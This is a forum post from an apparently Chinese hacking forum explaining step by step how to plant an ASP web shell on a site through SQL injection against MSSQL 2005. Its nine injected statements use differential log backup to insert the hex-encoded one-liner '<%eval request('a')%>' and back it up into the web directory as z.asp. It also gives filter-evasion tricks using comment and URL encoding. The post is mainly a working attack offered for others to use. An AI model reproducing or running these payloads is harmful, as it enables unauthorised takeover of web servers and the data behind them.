找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2672|回复: 0
打印 上一主题 下一主题

mssql2005 DB权限导出一句话

[复制链接]
跳转到指定楼层
楼主
发表于 2013-7-16 20:32:57 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
网站路径也搞到了,本想使用差异备份,在数据库日志中插入一句话,然后备份到网站目录下拿shell的,估计是用户没有备份数据库的权限,但使用MSSQL2000的备份方法根本行不通,后来才想到MSSQL2005的备份和MSSQL2000有点不同。
  R9 v; E+ S: D% k7 k5 [4 f8 H6 M" _) ^0 m- U9 p
0 z# S: ?1 Z) `& Y2 U
后来在网上搜半天没有找到具体的备份语句,后来在群求助,小冰才发我了具体的利用语句,但贴出来的文章貌似没啥水准,大家都知道手工差异备份是自己需要修改数据库名和网站路径的,但那个文章中对语句没有做任何解释,无奈之下我只好自己尝试了,虽然测试的网站没有成功拿下shell,单语句是没有错误的,我在本地的MSSQL2005的查询分析器中测试通过了,再次特将语句整理出来分享个大家,并做好详细的解释说明,首先来贴出语句。
0 U. K" c0 {' ^  X/ x6 N . B$ ]1 U2 O7 g% q# y" {: O
第一步 ) W7 h7 ~* D# P% c- ]" L9 q, J
;alter/**/database/**/[Hospital]/**/set/**/recovery/**/full--
) [. Y- y! D8 @3 L
7 S% W  U' b% y' J! z9 ^2 }% D第二步: ! i. k( l& |& m! f, w
;declare/**/@d/**/nvarchar(4000)/**/select/**/@d=0x640062006200610063006B00/**/backup/**/database/**/[Hospital]/**/to/**/disk=@d/**/with/**/init-- ( Z5 C( ?! a- E

7 T/ Q# v. I5 W9 n7 m' C/ `, X第三步 1 b5 ^, l7 q0 t- p& Z3 V$ N( Z
;drop/**/table/**/[itpro]--
6 C. N9 D' p" v6 I8 _( @6 y7 f1 o , d9 g$ O1 _3 Q4 L" D9 D! u! U0 ?
第四步
& N: f# a( j/ C;create/**/table/**/[itpro]([a]/**/image)--
3 x$ K4 \  l0 H2 t
1 h+ N) d, e; q1 I2 @3 B6 _第五步
, X4 I6 a/ L0 {;declare/**/@d/**/nvarchar(4000)/**/select/**/@d=0x640062006200610063006B00/**/backup/**/log/**/[Hospital]/**/to/**/disk=@d/**/with/**/init--
  F; N4 v; c7 M) n1 ?' k
# w3 Z( g* E- U: b5 Z+ f" ?# s第六步
/ p* s3 f- J: \! G;insert/**/into/**/[itpro]([a])/**/values(0x3C25657865637574652872657175657374282261222929253EDA)-- 4 v) ?* z% r# W# t4 X. I3 F
+ Q* s, |% \9 x8 @, ^
第七步 % x9 a! `; Y. o/ A# l
;declare/**/@d/**/nvarchar(4000)/**/select/**/@d=0x65003A005C007700650062005C007A002E00610073007000/**/backup/**/log/**/[Hospital]/**/to/**/disk=@d/**/with/**/init--
, C. S: ^2 X, }3 i" j
! f/ f1 R4 _" J- {  G第八步 5 D& q& V5 Q( z4 S7 e
;drop/**/table/**/[itpro]--   `  D$ u& [0 M4 {/ A! t$ ^0 n4 f
. n- D. Z$ G. j# y0 H' ~5 \
第九步
# h  h7 \. y9 N;declare/**/@d/**/nvarchar(4000)/**/select/**/@d=0x640062006200610063006B00/**/backup/**/log/**/[Hospital]/**/to/**/disk=@d/**/with/**/init--
+ _6 S& x3 A3 ]9 F4 ~5 `2 Q" q% X# @1 f
( e( F$ t  O8 A( r( b- M其中红色的“Hospital”既是数据库名,这个要根据自己的情况来修改,然后黄色的“0x3C25657865637574652872657175657374282261222929253EDA”是一句话“<%eval request("a")%>”的内容,橙色的“0x65003A005C007700650062005C007A002E00610073007000”为备份的路径“e:\web\z.asp”,都是使用的SQL_En的格式,另外第三步大可以不需要!他是删除itpro的表,如果第一次的话这个表是不存在的,就会提示无权限的信息。另外在语句“disk=@d”的地方可以将“=”更换成“%3D”,就是使用URL编码。“/**/”就等于空格了,这个大家在学习注入的过程中应该了解,也可以更换成“%20”。0 i% `" \( J- ~, I6 r" j- H) [: U
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表